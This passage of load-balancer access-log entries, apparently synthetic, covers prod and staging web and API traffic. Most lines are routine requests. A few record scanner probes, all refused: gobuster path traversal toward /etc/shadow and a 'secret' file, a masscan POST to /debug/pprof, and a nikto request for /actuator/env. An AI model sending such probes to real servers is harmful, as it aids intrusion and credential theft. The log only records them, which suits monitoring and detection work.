arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d81d-79289489577f444996643626" "prod-web-alb.example.com" "-" 9 2024-11-01T02:18:53.022978Z "forward" "-" "-" "10.0.119.149:443" "200" "-" "-" +https 2024-11-01T02:18:53.535074Z prod-web-alb 60.84.26.119:59638 10.0.211.206:443 0.064126 0.278593 0.086079 404 404 168 2424 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d81d-a55dee9eabdc487ab28ecaae" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:53.535074Z "forward" "-" "-" "10.0.211.206:443" "404" "-" "-" +https 2024-11-01T02:18:54.247929Z prod-web-alb 244.21.0.78:54186 10.0.191.67:443 0.063444 0.159753 0.098490 200 200 448 4940 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d81e-1b3ffc6ae6b0439a9db3deaa" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:54.247929Z "forward" "-" "-" "10.0.191.67:443" "200" "-" "-" +https 2024-11-01T02:18:54.373780Z prod-api-alb 254.212.255.32:34171 10.0.130.221:443 0.040216 0.010967 0.076804 302 302 291 7412 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d81e-44f3cb5473a944d0986b114b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:18:54.373780Z "forward" "-" "-" "10.0.130.221:443" "302" "-" "-" +https 2024-11-01T02:18:55.145701Z prod-web-alb 19.139.240.226:13444 10.0.250.64:443 0.070006 0.367951 0.025348 302 302 379 14086 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d81f-c27ab3b7a86f44268d809757" "prod-web-alb.example.com" "-" 8 2024-11-01T02:18:55.145701Z "forward" "-" "-" "10.0.250.64:443" "302" "-" "-" +https 2024-11-01T02:18:55.301344Z prod-web-alb 140.212.35.0:35141 10.0.81.3:443 0.045954 0.415282 0.060611 200 200 194 3818 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d81f-e1086d1cb3db42218fe1d98d" "prod-web-alb.example.com" "-" 10 2024-11-01T02:18:55.301344Z "forward" "-" "-" "10.0.81.3:443" "200" "-" "-" +https 2024-11-01T02:18:55.646083Z prod-api-alb 243.163.68.132:59946 10.0.26.112:443 0.002626 0.082961 0.015572 301 301 425 1670 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d81f-746c8214f61a4248b8a6e074" "prod-api-alb.example.com" "-" 5 2024-11-01T02:18:55.646083Z "forward" "-" "-" "10.0.26.112:443" "301" "-" "-" +https 2024-11-01T02:18:55.946503Z prod-web-alb 30.71.212.62:34993 10.0.177.151:443 0.070378 0.418033 0.045047 301 301 592 6705 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d81f-3e978e1d43614b8c99a500da" "prod-web-alb.example.com" "-" 4 2024-11-01T02:18:55.946503Z "forward" "-" "-" "10.0.177.151:443" "301" "-" "-" +https 2024-11-01T02:18:56.446245Z prod-api-alb 56.112.185.193:61772 10.0.199.135:443 0.034812 0.238391 0.092631 404 404 718 5997 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d820-de120ff5363042c98675f903" "prod-api-alb.example.com" "-" 4 2024-11-01T02:18:56.446245Z "forward" "-" "-" "10.0.199.135:443" "404" "-" "-" +https 2024-11-01T02:18:58.026366Z prod-api-alb 145.145.234.239:26274 10.0.241.153:443 0.020276 0.483436 0.038311 200 200 105 12230 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d822-657996165a91463183316b23" "prod-api-alb.example.com" "-" 9 2024-11-01T02:18:58.026366Z "forward" "-" "-" "10.0.241.153:443" "200" "-" "-" +https 2024-11-01T02:18:59.850265Z prod-api-alb 246.230.126.92:49270 10.0.33.138:443 0.018463 0.205527 0.045694 200 200 878 14089 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d823-057397a2c7f14ec5bf4b2fe0" "prod-api-alb.example.com" "-" 9 2024-11-01T02:18:59.850265Z "forward" "-" "-" "10.0.33.138:443" "200" "-" "-" +https 2024-11-01T02:19:00.309379Z prod-api-alb 96.31.232.30:22509 10.0.52.200:443 0.049369 0.422980 0.023344 200 200 142 6827 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d824-3d56aaef976140d9a1b616af" "prod-api-alb.example.com" "-" 2 2024-11-01T02:19:00.309379Z "forward" "-" "-" "10.0.52.200:443" "200" "-" "-" +https 2024-11-01T02:19:01.359361Z prod-api-alb 227.28.237.9:20516 10.0.65.39:443 0.059151 0.267528 0.048893 200 200 526 12081 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d825-943914e5df5f41359b6b8b8e" "prod-api-alb.example.com" "-" 0 2024-11-01T02:19:01.359361Z "forward" "-" "-" "10.0.65.39:443" "200" "-" "-" +https 2024-11-01T02:19:02.538617Z staging-alb 95.230.33.11:34943 72.175.46.51:443 0.013572 0.714484 0.110897 302 302 252 6466 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d826-9a57de1142d34e6488d5bfae" "staging-alb.example.com" "-" 3 2024-11-01T02:19:02.538617Z "forward" "-" "-" "72.175.46.51:443" "302" "-" "-" +https 2024-11-01T02:19:03.652245Z prod-api-alb 140.93.186.212:43637 10.0.21.93:443 0.053561 0.086068 0.018638 200 200 450 6136 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d827-780b02fdc5ec4e5e9ed79888" "prod-api-alb.example.com" "-" 1 2024-11-01T02:19:03.652245Z "forward" "-" "-" "10.0.21.93:443" "200" "-" "-" +https 2024-11-01T02:19:04.304859Z prod-web-alb 80.220.40.252:42528 10.0.66.159:443 0.082047 0.486270 0.014599 200 200 382 6565 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d828-d13cf69b082944cb80d671c6" "prod-web-alb.example.com" "-" 9 2024-11-01T02:19:04.304859Z "forward" "-" "-" "10.0.66.159:443" "200" "-" "-" +https 2024-11-01T02:19:05.151390Z prod-api-alb 185.181.61.136:10639 10.0.90.165:443 0.094469 0.345227 0.065653 403 403 275 9327 "POST /debug/pprof HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d829-d1ed02da03ef440ba1d5e1b2" "-" "-" 8 2024-11-01T02:19:05.151390Z "forward" "-" "-" "10.0.90.165:443" "403" "-" "-" +https 2024-11-01T02:19:06.345870Z prod-api-alb 68.204.18.207:56325 10.0.197.96:443 0.083077 0.123355 0.019627 200 200 109 1351 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d82a-e083d16970214944aa4dd987" "prod-api-alb.example.com" "-" 5 2024-11-01T02:19:06.345870Z "forward" "-" "-" "10.0.197.96:443" "200" "-" "-" +https 2024-11-01T02:19:07.188660Z staging-alb 53.43.119.75:64251 88.176.174.99:80 0.006387 0.663459 0.041765 200 200 582 11092 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d82b-8ad96bbf61e346b78766d9a6" "staging-alb.example.com" "-" 8 2024-11-01T02:19:07.188660Z "forward" "-" "-" "88.176.174.99:80" "200" "-" "-" +https 2024-11-01T02:19:08.746254Z staging-alb 215.20.196.223:30943 151.130.127.206:8080 0.079830 0.465617 0.072024 302 302 904 7897 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d82c-088c1f5444b842f1b0dfa853" "staging-alb.example.com" "-" 1 2024-11-01T02:19:08.746254Z "forward" "-" "-" "151.130.127.206:8080" "302" "-" "-" +https 2024-11-01T02:19:09.601984Z prod-web-alb 185.181.121.168:47097 10.0.31.75:443 0.094073 0.319312 0.003320 403 403 335 10736 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d82d-bc7e23722990416fa4d78ae3" "-" "-" 5 2024-11-01T02:19:09.601984Z "forward" "-" "-" "10.0.31.75:443" "403" "-" "-" +https 2024-11-01T02:19:10.275844Z prod-api-alb 84.111.6.106:42801 10.0.199.28:443 0.008318 0.188205 0.098703 200 200 812 14064 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d82e-1b20b10b1dfa4f138c129d6e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:19:10.275844Z "forward" "-" "-" "10.0.199.28:443" "200" "-" "-" +https 2024-11-01T02:19:10.968402Z prod-web-alb 175.225.3.232:34004 10.0.203.215:443 0.013433 0.453349 0.067740 200 200 814 1431 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d82e-a0f69e0a7c0e446db4be4261" "prod-web-alb.example.com" "-" 8 2024-11-01T02:19:10.968402Z "forward" "-" "-" "10.0.203.215:443" "200" "-" "-" +https 2024-11-01T02:19:11.766935Z prod-web-alb 216.48.23.53:18846 10.0.129.140:443 0.066891 0.096448 0.011419 404 404 724 1506 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d82f-aac9c021886e44628ccc01a7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:19:11.766935Z "forward" "-" "-" "10.0.129.140:443" "404" "-" "-" +https 2024-11-01T02:19:13.020536Z prod-web-alb 88.48.208.92:47070 10.0.38.175:443 0.083153 0.223522 0.034737 200 200 603 3565 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d831-dee72fbce5144cba8d3e9322" "prod-web-alb.example.com" "-" 4 2024-11-01T02:19:13.020536Z "forward" "-" "-" "10.0.38.175:443" "200" "-" "-" +https 2024-11-01T02:19:13.342700Z prod-api-alb 150.101.64.117:63901 10.0.122.148:443 0.038847 0.205367 0.098992 200 200 987 11275 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d831-18987cdefbd2429e97b2834a" "-" "-" 5 2024-11-01T02:19:13.342700Z "forward" "-" "-" "10.0.122.148:443" "200" "-" "-" +https 2024-11-01T02:19:13.639859Z prod-api-alb 198.8.33.6:41010 10.0.41.100:443 0.011433 0.386333 0.028200 301 301 0 6929 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d831-70155dc4908049d299e66627" "prod-api-alb.example.com" "-" 7 2024-11-01T02:19:13.639859Z "forward" "-" "-" "10.0.41.100:443" "301" "-" "-" +https 2024-11-01T02:19:14.686911Z staging-alb 45.155.205.44:25828 253.51.60.205:8080 0.006267 0.401017 0.007537 403 403 454 13764 "GET /actuator/env HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d832-477c5cc6d08d4bab99fca35d" "-" "-" 8 2024-11-01T02:19:14.686911Z "forward" "-" "-" "253.51.60.205:8080" "403" "-" "-" +https 2024-11-01T02:19:16.157997Z prod-api-alb 107.194.33.242:22003 10.0.146.47:443 0.015837 0.413239 0.080561 302 302 111 7394 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d834-e5a57b683d4042f0be06b412" "prod-api-alb.example.com" "-" 10 2024-11-01T02:19:16.157997Z "forward" "-" "-" "10.0.146.47:443" "302" "-" "-" +https 2024-11-01T02:19:17.752250Z prod-web-alb 183.212.43.238:10420 10.0.200.6:443 0.048089 0.424494 0.016075 200 200 810 1278 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d835-1092355b60b140b595c66767" "prod-web-alb.example.com" "-" 2 2024-11-01T02:19:17.752250Z "forward" "-" "-" "10.0.200.6:443" "200" "-" "-" +https 2024-11-01T02:19:18.355608Z prod-api-alb 124.206.242.22:53848 10.0.153.52:443 0.042296 0.095506 0.085069 301 301 871 9529 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d836-91c102f45a5b48b5ae4ab71b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:19:18.355608Z "forward" "-" "-" "10.0.153.52:443" "301" "-" "-" +https 2024-11-01T02:19:18.667684Z prod-web-alb 35.90.158.191:33380 10.0.160.110:443 0.055340 0.059513 0.046666 200 200 913 1660 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d836-719ba1ba18e74d7096b7e682" "prod-web-alb.example.com" "-" 6 2024-11-01T02:19:18.667684Z "forward" "-" "-" "10.0.160.110:443" "200" "-" "-" +https 2024-11-01T02:19:20.246835Z staging-alb 214.23.113.89:16610 82.10.82.189:8080 0.049841 0.741804 0.033054 302 302 266 7415 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d838-87c23ecd58994ef0b2166be3" "staging-alb.example.com" "-" 5 2024-11-01T02:19:20.246835Z "forward" "-" "-" "82.10.82.189:8080" "302" "-" "-" +http 2024-11-01T02:19:21.144127Z staging-alb 86.177.248.85:33607 188.168.236.158:443 0.071944 0.312242 0.091786 404 404 309 10341 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d839-a09b155b0ac14ebb90d2471b" "staging-alb.example.com" "-" 3 2024-11-01T02:19:21.144127Z "forward" "-" "-" "188.168.236.158:443" "404" "-" "-" +https 2024-11-01T02:19:22.489392Z prod-web-alb 147.186.50.194:42235 10.0.170.204:443 0.028927 0.266077 0.078211 200 200 97 5633 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d83a-9fbfe2b3f9854bffb2e4da8b" "-" "-" 5 2024-11-01T02:19:22.489392Z "forward" "-" "-" "10.0.170.204:443" "200" "-" "-" +https 2024-11-01T02:19:24.297595Z prod-web-alb 9.16.76.69:37487 10.0.154.194:443 0.013171 0.461581 0.087655 200 200 737 3471 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d83c-c028f308db394d319ef735c4" "prod-web-alb.example.com" "-" 7 2024-11-01T02:19:24.297595Z "forward" "-" "-" "10.0.154.194:443" "200" "-" "-" +https 2024-11-01T02:19:25.142898Z prod-api-alb 41.64.254.50:50942 10.0.192.100:443 0.045757 0.486370 0.046857 200 200 133 495 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d83d-6f0ff48462124690a227bd81" "prod-api-alb.example.com" "-" 4 2024-11-01T02:19:25.142898Z "forward" "-" "-" "10.0.192.100:443" "200" "-" "-" +https 2024-11-01T02:19:25.352324Z prod-api-alb 185.205.108.150:14591 10.0.97.73:443 0.001375 0.297241 0.043431 301 301 884 1531 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d83d-48d829d95f4a46dfb355e7ed" "prod-api-alb.example.com" "-" 8 2024-11-01T02:19:25.352324Z "forward" "-" "-" "10.0.97.73:443" "301" "-" "-" +https 2024-11-01T02:19:27.226494Z prod-web-alb 218.21.166.229:31592 10.0.119.156:443 0.039648 0.233727 0.071790 302 302 354 2837 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d83f-e1aa318d65fa420ba0d03e81" "prod-web-alb.example.com" "-" 6 2024-11-01T02:19:27.226494Z "forward" "-" "-" "10.0.119.156:443" "302" "-" "-" +https 2024-11-01T02:19:28.708232Z prod-web-alb 23.118.184.252:13230 10.0.144.92:443 0.067540 0.198509 0.008091 200 200 310 13631 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d840-a72f99432e4246cdaf021930" "prod-web-alb.example.com" "-" 2 2024-11-01T02:19:28.708232Z "forward" "-" "-" "10.0.144.92:443" "200" "-" "-" +http 2024-11-01T02:19:30.488991Z staging-alb 210.59.218.157:40431 163.17.70.24:443 0.120148 0.456003 0.008212 200 200 472 12836 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d842-da7cebad46124305a2b631aa" "staging-alb.example.com" "-" 6 2024-11-01T02:19:30.488991Z "forward" "-" "-" "163.17.70.24:443" "200" "-" "-" +https 2024-11-01T02:19:32.320196Z staging-alb 6.36.153.26:16837 174.199.231.113:443 0.096821 0.717245 0.071263 200 200 316 14425 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d844-af7d6d3f5f964e75a165b938" "staging-alb.example.com" "-" 7 2024-11-01T02:19:32.320196Z "forward" "-" "-" "174.199.231.113:443" "200" "-" "-" +https 2024-11-01T02:19:33.013601Z staging-alb 29.32.196.218:58212 99.62.169.8:443 0.145163 0.176691 0.069138 200 200 209 3749 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d845-33d1d956ad0745c6a11f8482" "staging-alb.example.com" "-" 5 2024-11-01T02:19:33.013601Z "forward" "-" "-" "99.62.169.8:443" "200" "-" "-" +https 2024-11-01T02:19:34.349906Z prod-web-alb 10.153.103.81:48788 10.0.52.219:443 0.086626 0.480820 0.025872 200 200 800 1415 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d846-e976fff2ff514042b370896c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:19:34.349906Z "forward" "-" "-" "10.0.52.219:443" "200" "-" "-" +https 2024-11-01T02:19:35.538011Z prod-web-alb 185.181.121.168:51672 10.0.100.19:443 0.030004 0.197159 0.027461 404 404 405 8819 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d847-c946e5e9e7b4410ebad5bc7a" "-" "-" 3 2024-11-01T02:19:35.538011Z "forward" "-" "-" "10.0.100.19:443" "404" "-" "-" +https 2024-11-01T02:19:35.805510Z prod-api-alb 193.89.83.252:17773 10.0.82.5:443 0.011391 0.382334 0.066767 200 200 866 7573 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d847-1e6c3dffce14455b846cf66a" "prod-api-alb.example.com" "-" 4 2024-11-01T02:19:35.805510Z "forward" "-" "-" "10.0.82.5:443" "200" "-" "-" +https 2024-11-01T02:19:36.551453Z prod-web-alb 245.72.90.183:18858 10.0.253.1:443 0.014178 0.390440 0.057793 200 200 906 1413 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d848-63d999f6302a4a3db00ae7d0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:19:36.551453Z "forward" "-" "-" "10.0.253.1:443" "200" "-" "-" +https 2024-11-01T02:19:37.989500Z prod-api-alb 47.152.11.76:59919 10.0.133.148:443 0.037816 0.091492 0.051912 404 404 811 2401 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d849-c1a22e0936db494ab4c90bb4" "prod-api-alb.example.com" "-" 1 2024-11-01T02:19:37.989500Z "forward" "-" "-" "10.0.133.148:443" "404" "-" "-" +https 2024-11-01T02:19:39.183330Z prod-api-alb 2.148.124.195:59605 10.0.181.15:443 0.036289 0.067884 0.029259 200 200 52 6636 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d84b-5a3be834d129428b9ad6f21c" "prod-api-alb.example.com" "-" 